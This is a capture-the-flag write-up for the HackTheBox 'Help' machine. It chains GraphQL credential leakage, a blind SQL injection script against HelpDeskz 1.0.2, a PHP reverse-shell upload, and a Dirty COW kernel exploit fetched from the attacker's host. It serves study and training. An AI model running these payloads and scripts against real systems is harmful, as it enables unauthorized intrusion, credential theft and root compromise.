Help - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Help is an Easy Linux machine featuring a vulnerable HelpDesk application (HelpDeskz v1.0.2) with multiple exploitation paths. The machine exposes a GraphQL endpoint that leaks user credentials, then requires blind SQL injection or arbitrary file upload to achieve initial foothold. Privilege escalation is straightforward via a known kernel vulnerability (CVE-2016-5195 - Dirty COW).

TL;DR: GraphQL enumeration → extract credentials → blind SQLi/file upload for RCE → kernel exploit for root.

Reconnaissance

Port Scanning

# Initial port discovery
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.121 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service scanning
nmap -p$ports -sV 10.10.10.121

Results:

• Port 22 - SSH (OpenSSH)
• Port 80 - HTTP (Apache)
• Port 3000 - HTTP (Node.js/Express)

Service Enumeration

HTTP on Port 80:

The server redirects to help.htb. Add this to /etc/hosts:

echo "10.10.10.121      help.htb" | sudo tee -a /etc/hosts

Navigating to the domain shows a default Apache installation. Directory enumeration reveals the HelpDesk application:

gobuster dir -w directory-list-2.3-medium.txt -t 100 -u http://help.htb/

This discovers /support containing HelpDeskz v1.0.2 (confirmed via UPGRADING.txt).

Node.js on Port 3000:

The service responds with a generic message. HTTP headers identify it as Express framework. Testing for GraphQL endpoints:

# Initial GraphQL probe
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq

The endpoint exists and expects structured queries. Dumping user information:

# Query username
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq

# Query password (MD5 hash)
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username, password} }' | jq

Results:

• Username: helpme@helpme.com
• Password (MD5): 5d41402abc4b2a76b9719d911017c592
• Cracked: godhelpmeplz

Vulnerability Assessment

1. GraphQL Information Disclosure - Unauthenticated endpoint leaks user credentials
2. Blind SQL Injection - HelpDeskz v1.0.2 vulnerable in ticket attachment parameter (CVE-2015-7297)
3. Arbitrary File Upload - Authentication bypass allows unauthenticated RCE (CVE-2015-7298)
4. Kernel Vulnerability - Linux 4.4.0-116-generic vulnerable to Dirty COW (CVE-2016-5195)

Initial Foothold

Exploitation Path: Blind SQL Injection

First, log in using GraphQL credentials (helpme@helpme.com:godhelpmeplz).

Submit a test ticket with an image attachment and note the attachment URL structure:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6

Step 1: Verify SQL Injection

Test basic SQLi conditions:

# True condition - returns image
curl "http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and 1=1-- -"

# False condition - returns 404
curl "http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and 1=2-- -"

Step 2: Extract Admin Username

# Verify admin user exists
curl "http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and (select (username) from staff limit 0,1) = 'admin'-- -"

This returns the image, confirming the first staff user is admin.

Step 3: Brute Force SHA1 Hash

Extract the admin password character by character:

#!/usr/bin/env python3
from requests import get
import string
import sys

# Extract from Burp Suite interceptor
cookies = {
    'lang': 'english',
    'PHPSESSID': 'YOUR_SESSION_ID',
    'usrhash': 'YOUR_HASH'
}

url = 'http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6'
chars = list(string.ascii_lowercase) + list(string.digits)
password = []

# SHA1 hashes are 40 characters
for k in range(1, 41):
    for char in chars:
        payload = f"{url} and substr((select password from staff limit 0,1),{k},1) = '{char}'-- -"
        resp = get(payload, cookies=cookies)

        if '404' not in resp.text:
            password.append(char)
            print(f"Password: {''.join(password)}")
            break

final_hash = ''.join(password)
print(f"\n[+] Admin Password Hash: {final_hash}")

Run the script and retrieve the admin password hash (40 characters):

python3 blind_sqli.py
# Output: d318f44739dced66793b1a603028133a76ae680e

Crack the hash using HashKiller or similar service:

Hash: d318f44739dced66793b1a603028133a76ae680e
Plaintext: Welcome1

Step 4: Extract Admin Email

Modify the script to dump the email field with expanded character set:

# Modify character set to include special characters
chars = list(string.ascii_lowercase) + list(string.digits) + ['@', '_', '.']

# Change column in SQL query
payload = f"{url} and substr((select email from staff limit 0,1),{k},1) = '{char}'-- -"

Result: support@mysite.com

Step 5: SSH Access

ssh help@10.10.10.121
# Password: Welcome1

The SSH username is help (found through enumeration of user accounts on the box).

Alternative Exploitation Path: Arbitrary File Upload (RCE)

If preferred, exploit the unauthenticated file upload vulnerability:

# Download the exploit script (CVE-2015-7298)
# wget https://www.exploit-db.com/raw/40300

# Modify the PHP reverse shell payload with your IP/port
# Upload via the "Submit a Ticket" form

# The application checks extension after upload, so the file is already on disk
# Run the exploit to brute force the renamed filename
python3 40300.py http://help.htb/support/uploads/tickets/php-reverse-shell.php

# Once file is found, access it to trigger RCE
curl http://help.htb/support/uploads/tickets/[BRUTED_FILENAME]

# Upgrade shell
python -c "import pty;pty.spawn('/bin/bash')"

Privilege Escalation

Kernel Exploitation (Dirty COW)

Step 1: Identify Vulnerable Kernel

uname -r
# Output: 4.4.0-116-generic

This kernel version is vulnerable to CVE-2016-5195 (Dirty COW).

Step 2: Download and Compile Exploit

On your local machine:

# Download Dirty COW exploit
wget https://github.com/FireFart/dirtycow/raw/master/dirty.c

# Compile locally
gcc dirty.c -o exploit -pthread

Step 3: Transfer and Execute

On your local machine (in the exploit directory):

# Start HTTP server
python3 -m http.server 80

On the target:

cd /tmp
wget http://YOUR_IP/exploit
chmod +x exploit
./exploit

# Exploit will spawn a root shell directly

The exploit modifies the /etc/passwd file to create a root-equivalent user, immediately granting elevated privileges.

Attack Chain Summary

GraphQL Enumeration (Port 3000)
    ↓
Extract Credentials (helpme@helpme.com:godhelpmeplz)
    ↓
Login to HelpDesk
    ↓
Blind SQL Injection on Ticket Attachment Endpoint
    ↓
Extract Admin Credentials (support@mysite.com:Welcome1)
    ↓
SSH Access (help:Welcome1)
    ↓
Enumerate Kernel Version (4.4.0-116-generic)
    ↓
Compile Dirty COW Exploit (CVE-2016-5195)
    ↓
Root Shell

Tools Used

Key Learnings

Techniques Practiced

• GraphQL enumeration - Discovering and exploiting unauthenticated GraphQL endpoints
• Blind SQL injection - Character-by-character hash extraction using conditional responses
• Hash cracking - MD5 and SHA1 reverse lookups
• Kernel exploitation - Compiling and leveraging known CVEs for privilege escalation
• Multi-stage exploitation - Combining different vulnerabilities (info disclosure → SQLi → kernel RCE)

Lessons Learned

1. Enumerate all ports and services - The GraphQL endpoint on port 3000 was the initial attack vector, often overlooked in standard web assessments.

2. Blind SQL injection requires patience and scripting - Manual exploitation would be tedious; automation is essential for character-by-character extraction.

3. Kernel vulnerabilities are critical - Even on “Easy” machines, unpatched kernels provide trivial privilege escalation paths; always check uname -r.

4. Multiple exploitation paths exist - Different vulnerabilities (SQLi vs. file upload) can achieve the same objective; choose based on constraints and reliability.

5. Session management matters - SQLi exploitation required valid session cookies; authentication to the HelpDesk was necessary to maintain session state.

6. Default credentials and leaked info - GraphQL endpoints should never expose sensitive fields without authentication; this was a critical misconfiguration.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>